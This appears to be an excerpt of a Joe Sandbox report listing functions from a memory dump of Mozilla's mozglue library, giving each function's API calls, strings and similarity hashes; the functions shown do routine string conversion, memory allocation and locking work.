Function 6CA24DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA24E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA24E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA24EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA24F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA24F1E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 84244e4449883613bbbdd9616ea0b9f4ef8eb97ab5d4fd40b7d20cbce92c7a99
Instruction ID: 30311b69ccb3b608eaf37a74684217c2bd3901adf8f662599f1e9f221dd4d63e
Opcode Fuzzy Hash: 84244e4449883613bbbdd9616ea0b9f4ef8eb97ab5d4fd40b7d20cbce92c7a99
Instruction Fuzzy Hash: 0741FF716087119FD711CF29C88099BB7F4BF89354F188A2DF86A87B40DB34E998CB81

Function 6CA8A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAF770), ref: 6CA8A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8A87B

Part of subcall function 6CA8A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CA8A88F,00000000), ref: 6CA8A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CA8A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8A90C
LeaveCriticalSection.KERNEL32(6CAAF770), ref: 6CA8A97E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 600ca54a20dd65bd274bebf1049eccd15322970367ae5f595dfbb848b43f6b2e
Instruction ID: 77a5f6109d3b207847a62b047d943a82aee9b2b6b6cc655877e2933df9dcb5d8
Opcode Fuzzy Hash: 600ca54a20dd65bd274bebf1049eccd15322970367ae5f595dfbb848b43f6b2e
Instruction Fuzzy Hash: 024180B0D012099FDB04DFE8D845A9EBBB1FF04324F148619E816AB7D1D7359986CB91

Function 6CA31530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA3159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA315BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA315E7
free.MOZGLUE(?,?,?,?,?,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA31606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA3152B,?,?,?,?,6CA31248,?), ref: 6CA31637

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 0ae288d03524521efb1376af48e403f60583b2a63adc9ce7aa34ed47399223e6
Instruction ID: 9ead41599fdae576d16f72601ef5dac5c8d781374ac8439e69fb9202b4f37769
Opcode Fuzzy Hash: 0ae288d03524521efb1376af48e403f60583b2a63adc9ce7aa34ed47399223e6
Instruction Fuzzy Hash: 57310C71A001248BC7148F7DD9604BE73E5BB853647281B2DE527D7BD4EB30D94587A1

Function 6CA8AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AD9D

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AE01
GetLastError.KERNEL32(?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CA9E330,?,6CA4C059), ref: 6CA8AE3D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0fd8ba923c798d5c145432ab5eca07dbe6885ba4d2d1d506c540ec9873040131
Instruction ID: 6e044044cf49279e1f5b2e9a3b510adafe1a378fd275b44c2d84c15b0aefda6d
Opcode Fuzzy Hash: 0fd8ba923c798d5c145432ab5eca07dbe6885ba4d2d1d506c540ec9873040131
Instruction Fuzzy Hash: BE31A0B1A013159FDB10DF799D44AABBBF9EF48614F14882DE84AD7740E734D884CBA0

Function 6CA85EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CA9DCA0,?,?,?,6CA5E8B5,00000000), ref: 6CA85F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA5E8B5,00000000), ref: 6CA85F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA5E8B5,00000000), ref: 6CA85F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA5E8B5,00000000), ref: 6CA85F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA5E8B5,00000000), ref: 6CA85FD6

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f5442814d43e45293780bb57aa67c3f0ac98f05dd210e7b47d4d6d49b2f423ea
Instruction ID: adf8f390121324615616b98e378c24d893da05251cb38ac00b73ad14b0745090
Opcode Fuzzy Hash: f5442814d43e45293780bb57aa67c3f0ac98f05dd210e7b47d4d6d49b2f423ea
Instruction Fuzzy Hash: 0E312E343016058FE714CF29D898E2AB7F5FF89319B688658E9578B795C731EC82CB80

Function 6CA2B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA2B532
moz_xmalloc.MOZGLUE(?), ref: 6CA2B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA2B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA2B57E
free.MOZGLUE(00000000), ref: 6CA2B58F

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: e91f372a26a2ea3c6888be1dda117357d980dda9fae313d562c12c8435cc6f19
Instruction ID: cffc8dcfa5b4a121d4294bd2ed716dd241dbfb3bd67a52e72e632d25d46fc88c
Opcode Fuzzy Hash: e91f372a26a2ea3c6888be1dda117357d980dda9fae313d562c12c8435cc6f19
Instruction Fuzzy Hash: 89210A71A002169BDB008F65DC40BAEBBB9FF45308F2C4129ED1ADB341E736D995C7A1

Function 6CA2B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA2B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA2B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA2B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA2B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA2B849

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b4d59e4a38979c09fca4f64c7a0f97c15b90a9f91535dbf8ffb888143c5cb440
Instruction ID: 8996ce4ea683e923cbea3aedabc1e449fffc93d023424c326a8fa6d3ec0cdcc5
Opcode Fuzzy Hash: b4d59e4a38979c09fca4f64c7a0f97c15b90a9f91535dbf8ffb888143c5cb440
Instruction Fuzzy Hash: 4C2141B0D002199FDF04DFA9D4455BFBBF4EF49218F188119E806A7301D7359984CBA0

Function 6CA86E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA86E78

Part of subcall function 6CA86A10: InitializeCriticalSection.KERNEL32(6CAAF618), ref: 6CA86A68
Part of subcall function 6CA86A10: GetCurrentProcess.KERNEL32 ref: 6CA86A7D
Part of subcall function 6CA86A10: GetCurrentProcess.KERNEL32 ref: 6CA86AA1
Part of subcall function 6CA86A10: EnterCriticalSection.KERNEL32(6CAAF618), ref: 6CA86AAE
Part of subcall function 6CA86A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA86AE1
Part of subcall function 6CA86A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA86B15
Part of subcall function 6CA86A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CA86B65
Part of subcall function 6CA86A10: LeaveCriticalSection.KERNEL32(6CAAF618,?,?), ref: 6CA86B83

MozFormatCodeAddress.MOZGLUE ref: 6CA86EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA86EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA86EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CA86EFF

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 5712433e6806d8f0cde5d2625f54e1abdcf346f9d99e5a78251790f04f3e244e
Instruction ID: bfc1df28242edfd830bbd2c9ea18c68034dfd05fde8974c569093b3c72ee3c3d
Opcode Fuzzy Hash: 5712433e6806d8f0cde5d2625f54e1abdcf346f9d99e5a78251790f04f3e244e
Instruction Fuzzy Hash: 1021A471A0431E9FDB04CF69E88569E77F5FF88308F048139E84997341DB749A998F92

Function 6CA876C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CA876F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CA87705

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA87717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CA8778F,00000000,00000000,00000000,00000000), ref: 6CA87731
free.MOZGLUE(00000000), ref: 6CA87760

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 3189bf010f4071afd29d215ef2f0f3daacc39ff8f5535675c30a5720fbeadb1e
Instruction ID: 6b9391942ede1e00265075f734d0e3c6ef32b6ac991900196083e9599102d130
Opcode Fuzzy Hash: 3189bf010f4071afd29d215ef2f0f3daacc39ff8f5535675c30a5720fbeadb1e
Instruction Fuzzy Hash: 7611B6B1A013256BDB10AFB69D44BAF7EE8EF46354F044529F848D7300E7708884C7E2

Function 6CA60D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA23DEF), ref: 6CA60D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA23DEF), ref: 6CA60D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA23DEF), ref: 6CA60DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA60D97, 6CA60DBE
<jemalloc>, xrefs: 6CA60D92, 6CA60DB9

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: f019dbff0910f2a29d06078a7cb6b942dbe47c488853fdd88a0949cd429c30e7
Instruction ID: 9acf0b850e0f08c90b26aaeb6039460330e7e379c003464a8ebbf16a47681a88
Opcode Fuzzy Hash: f019dbff0910f2a29d06078a7cb6b942dbe47c488853fdd88a0949cd429c30e7
Instruction Fuzzy Hash: 6FF0803138035963D51811EBAC09F5F365D67C5B55F388236F214DBDC0DB50E4C6465D

Function 6CA77620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CA775C4,?), ref: 6CA7762B

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CA774D7,6CA815FC,?,?,?), ref: 6CA77644
GetCurrentThreadId.KERNEL32 ref: 6CA7765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA774D7,6CA815FC,?,?,?), ref: 6CA77663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA774D7,6CA815FC,?,?,?), ref: 6CA77677

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 120f76d33a5c70e0b24304526a1cb2a96cfc569183c2af5e455d6169b7302d16
Instruction ID: cf31ef0dbe76ffdc6e49df86f476e7ef28559af41f4e1fad8343859c69a93999
Opcode Fuzzy Hash: 120f76d33a5c70e0b24304526a1cb2a96cfc569183c2af5e455d6169b7302d16
Instruction Fuzzy Hash: 5BF0C871E1074BAFD7008F61E848679B778FFEA259F119316F90453601E7B1A5D187D0

Function 6CA81700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA81800

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

Part of subcall function 6CA24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA63EBD,6CA63EBD,00000000), ref: 6CA242A9

Strings

name, xrefs: 6CA81939
Details, xrefs: 6CA81925
{marker.name} - {marker.data.name}, xrefs: 6CA818C7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 229ecda11f434020da025e43794d72edd72808fa21f652acc7c55252e97ec945
Instruction ID: 7350c45d1ca4648e01ab4fea99ffb9ead38ef1337a6ba5b6f49010a60c37f350
Opcode Fuzzy Hash: 229ecda11f434020da025e43794d72edd72808fa21f652acc7c55252e97ec945
Instruction Fuzzy Hash: 1E71F370A003079FCB08DF68D554AAABBB1FF45304F44866DD8154BB41D770AAE9CBE1

Function 6CA8B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CA8B0A6,6CA8B0A6,?,6CA8AF67,?,00000010,?,6CA8AF67,?,00000010,00000000,?,?,6CA8AB1F), ref: 6CA8B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CA8B0A6,6CA8B0A6,?,6CA8AF67,?,00000010,?,6CA8AF67,?,00000010,00000000,?), ref: 6CA8B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CA8B0A6,6CA8B0A6,?,6CA8AF67,?,00000010,?,6CA8AF67,?,00000010), ref: 6CA8B25F

Strings

map/set<T> too long, xrefs: 6CA8B1FA

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: ebcfd5d647e9d8df72f93c87b49e9c4e98229657d8110492e27def04846f83f2
Instruction ID: 6c0c4839c862c72e7fea972ee439cccbc4f4472017921c8c75e3f14040e19b8c
Opcode Fuzzy Hash: ebcfd5d647e9d8df72f93c87b49e9c4e98229657d8110492e27def04846f83f2
Instruction Fuzzy Hash: 5C6179346012458FD701CF19D980A9ABBF1FF4A318F28C299D8595FB52C331EC85CBA1

Function 6CA4D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

EnterCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D4F2
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D50B

Part of subcall function 6CA2CFE0: EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA2CFF6
Part of subcall function 6CA2CFE0: LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA2D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D52E
EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA4D690
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D751

Strings

MOZ_CRASH(), xrefs: 6CA4D4BB

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 37aaefae4481d49e52db35341a5f1257e9a8e68ae43f50f074b83a9849bbdb30
Instruction ID: e32db815539d8bbe2e2b2846fe3c6bc4bfbd82a592b70b0be144927cfbde10a9
Opcode Fuzzy Hash: 37aaefae4481d49e52db35341a5f1257e9a8e68ae43f50f074b83a9849bbdb30
Instruction Fuzzy Hash: 82510271E047028FD328CF68C09465AB7E1EB89704F15CA2ED599C7B84D730E885CB91

Function 6CA74630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA74721

Strings

-%llu, xrefs: 6CA74733
., xrefs: 6CA7476A
profiler-paused, xrefs: 6CA746E4

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: fc581dcafb6af44e8f8b88849504cae49ed25b5a793b28cf83a33b5ce9fbf902
Instruction ID: 717709c727842a87ec6a0496e252a1e7fa7df3f7d3c76d951c29876a47bb239e
Opcode Fuzzy Hash: fc581dcafb6af44e8f8b88849504cae49ed25b5a793b28cf83a33b5ce9fbf902
Instruction Fuzzy Hash: C1417736E047089BCB08CF78E84219EBBE5EB85344F14C62EE84567740EB309885CB51

Function 6CA746E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA74721

